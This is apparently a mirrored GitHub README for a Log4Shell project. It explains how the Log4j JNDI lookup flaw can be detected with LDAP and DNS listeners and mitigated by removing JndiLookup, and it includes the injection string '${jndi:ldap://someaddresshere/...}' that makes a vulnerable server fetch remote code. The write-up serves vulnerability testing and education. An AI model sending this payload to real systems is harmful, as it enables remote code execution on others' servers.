Giter Site home page Giter Site logo

log4shell's Introduction

Log4Shell Zero-Day Exploit

if attacker manage to log this string ${jndi:ldap://someaddresshere/param1=value1} to log4j it somehow loads the class/java bytecode sent by Attacker Controlled LDAP Server. The bytecode could be used to execute any malicious code or do some little trolling.

take this with grain of salt, I'm not a security expert.

Detection

Patched

  • Mitigated by deleting org.apache.logging.log4j.core.lookup.JndiLookup somehow didn't crash

Unpatched

  • Note: 1.16.5 Minecraft Server RCE exploit

Use simple socket to listen on port 1389 then close the socket once its connected no external dependency

  • Note: not always the case, sometimes it doesn't bother to load class url location given by LDAP Server

  • Vulnerable to lookup:

  • Log:

going to throw error if its is vulnerable

Use com.unboundid:unboundid-ldapsdk library to host LDAP server

  • Note: doesn't mean it's vulnerable to RCE exploit.
  • Vulnerable to lookup:
  • LADP Server logs:

DNS Log

Both sender and receiver are logged which mean they are vulnerable

  • Note: if it's get logged, doesn't mean it's vulnerable to RCE
  • Vulnerable to lookup:

Conclusion

  • if java do LDAP lookup doesn't mean it is always vulnerable, but if is load the classpath provided then it is ?

    • vulnerable to RCE and LDAP lookup:
    • not vulnerable because java don't fetch bytecode ??, still vulnerable to LDAP lookup:
  • to test if it's actually vulnerable to RCE, try to use harmless payloads if its running then its vulnerable.

  • if com.sun.jndi.ldap.object.trustURLCodebase property is set to true then you are vulnerable like really else, the attacker can use existing classpath

  • if you found the victim log and see this:

  Caused by: java.lang.ClassNotFoundException: itzbenz.payload.ObjectPayloadSerializable
        at java.net.URLClassLoader.findClass(Unknown Source)
        at java.lang.ClassLoader.loadClass(Unknown Source)
        at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
        at java.lang.ClassLoader.loadClass(Unknown Source)

it's safe because it will not load classpath provided by attacker ?? though it's still doing LDAP lookup which is large attack surface.

note: (after updating java 8, the minecraft server seem not load the classpath)

Disclaimer

This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.

log4shell's People

Contributors

itzbenz avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.